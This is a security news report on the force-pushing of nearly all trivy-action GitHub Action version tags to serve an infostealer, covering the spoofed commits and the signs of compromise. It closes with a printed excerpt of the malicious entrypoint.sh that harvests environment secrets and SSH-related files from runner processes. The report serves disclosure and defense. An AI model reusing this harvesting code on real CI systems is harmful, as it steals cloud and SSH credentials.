Trivy under attack again: Widespread GitHub Actions tag compromise secrets

Security News

/Research

Newly published Trivy Docker images (0.69.4, 0.69.5, and 0.69.6) were found to contain infostealer IOCs and were pushed to Docker Hub without corresponding GitHub releases.

Philipp Burckhardt

March 20, 2026

A new supply chain attack targeting Trivy has been disclosed today by Paul McCarty, marking the second distinct compromise affecting the Trivy ecosystem in March.

This latest incident impacts GitHub Actions, and is separate from the earlier OpenVSX compromise involving the VS Code extension.

Initial reports have focused on the compromise of Trivy v0.69.4, with downstream ecosystems such as Homebrew already rolling back affected versions. The first known detection of suspicious activity traces back to approximately 19:15 UTC.

However, early findings indicate the scope of the attack extends beyond a single release.

At Socket, we identified that an attacker force-pushed 75 out of 76 version tags in the aquasecurity/trivy-action repository, the official GitHub Action for running Trivy vulnerability scans in CI/CD pipelines. With over 10,000 workflow files on GitHub referencing this action, the potential blast radius is significant. These tags were modified to serve a malicious payload, effectively turning trusted version references into a distribution mechanism for an infostealer. These compromised tags remain active at the time of writing.

Any CI/CD pipeline referencing aquasecurity/trivy-action by version tag, including commonly used tags such as @0.34.2, @0.33.0, or @0.18.0, is executing malicious code before the legitimate Trivy scan runs. This may prevent users from noticing any issues. At this time, @0.35.0 appears to be the only unaffected version tag.

Socket independently detected this activity in real time. Beginning at 19:15 UTC, Socket generated 182 threat feed entries tied to malicious GitHub Actions associated with this campaign. All were correctly classified as Backdoor, Infostealer, or Reconnaissance malware by Socket’s AI scanner.

The malicious payload is designed to execute within GitHub Actions runners, targeting sensitive data in CI/CD environments. Observed behavior includes dumping runner process memory to extract secrets, harvesting SSH keys, and exfiltrating credentials for AWS, GCP, and Azure, as well as Kubernetes service account tokens.

This marks the second supply chain incident involving Trivy in March. Earlier in the month, a separate compromise affected the Aqua Trivy VS Code extension distributed via OpenVSX, where injected code attempted to abuse local AI coding agents.

Socket users can check whether their workflows are affected in the dashboard under Threat Intel → Campaigns, or view the public campaign tracker for the Trivy GitHub Actions Compromise.

Update 3/20:

Recent updates from the Trivy maintainers confirm that this attack was enabled by a compromised credential with write access to the repository. The incident is a continuation of the earlier March breach, during which credentials were exfiltrated from Trivy’s CI environment. Although secrets and tokens were rotated in response, the rotation process was not fully atomic, and the attacker may have retained access to newly issued credentials. This allowed the threat actor to perform authenticated operations, including force-updating tags, without needing to exploit GitHub itself. While the exact credential used in this phase has not been publicly specified, the root cause is now understood to be residual access from the earlier credential compromise.

The most striking aspect of this attack is not the payload itself but the delivery mechanism. After getting access to Trivy’s credentials, the attacker compromised the aquasecurity/trivy-action GitHub action but not by pushing to a branch or creating a new release, which would appear in the commit history and trigger notifications. Instead, the attacker force-pushed 75 existing version tags to point to new malicious commits. The technique involved multiple layers of deception that merit close examination.

Recall that a git tag is a pointer to a commit SHA. When a GitHub Actions workflow references aquasecurity/[email protected], GitHub resolves that tag to whatever commit it currently points to. If an attacker with push access force-updates the tag to a different commit, every workflow referencing that tag automatically begins pulling the new code.

For each of the 75 tags, the attacker created a new commit with carefully spoofed metadata. The result is a file tree that is identical across all 75 malicious commits, master plus the swapped entrypoint.sh. Only the commit metadata varies per tag, spoofed to match each tag's original commit so it appears legitimate in git log.

Only a few indicators betray the forgery: GitHub's release UI displays an "Immutable" badge next to each tag on the releases page of the compromised action. The attacker might have deliberately published immutable releases when poisoning the tags, effectively locking in the malicious state and making it harder for maintainers to restore the original tag targets.

As this compromise shows, organizations and downstream users should not rely solely on the "Immutable" indicator to verify tag integrity. GitHub's own security guidance recommends pinning actions to full commit SHAs as the only truly immutable way to consume an action.

On GitHub's release page, each poisoned tag displays "0 commits to master since this release." For a tag like 0.6.0 from 2020, this counter should show hundreds of commits. It reads zero because the malicious commit's parent is master HEAD. This is an easy visual indicator of compromise when browsing the releases page.

Tag 0.35.0 is the sole clean tag. It points to the latest commit on the master branch. The attacker's tooling likely iterated over all tags and skipped the one that matched the parent.

The malicious entrypoint.sh is 204 lines long. Lines 4 through 105 contain the injected infostealer. Lines 106 through 204 contain the legitimate Trivy scanning code. Because the malware executes first and the real Trivy scan follows normally afterward, users see expected scan output and may not notice that anything is wrong.

_COLLECT_PIDS="$$"
for _name in Runner.Worker Runner.Listener runsvc run.sh; do
_PIDS=$(pgrep -f "$_name" 2>/dev/null || true)
[ -n "$_PIDS" ] && _COLLECT_PIDS="$_COLLECT_PIDS $_PIDS"
done
COLLECTED="/tmp/runner_collected_$$.txt"
: > "$COLLECTED"
for _PID in $_COLLECT_PIDS; do
_ENVIRON="/proc/${_PID}/environ"
[ -r "$_ENVIRON" ] || continue
while IFS= read -r line; do
key="${line%%=*}"
val="${line#*=}"
if echo "$key" | grep -qiE '(env|ssh)'; then
printf '%s=%s\\n' "$key" "$val" >> "$COLLECTED"
if [ -f "$val" ] && [ ! -S "$val" ]; then
printf '\\n[%s]\\n' "$val" >> "$COLLECTED"
cat "$val" >> "$COLLECTED"
printf '\\n' >> "$COLLECTED"
fi
fi
done < <(tr '\\0' '\\n' < "$_ENVIRON")
done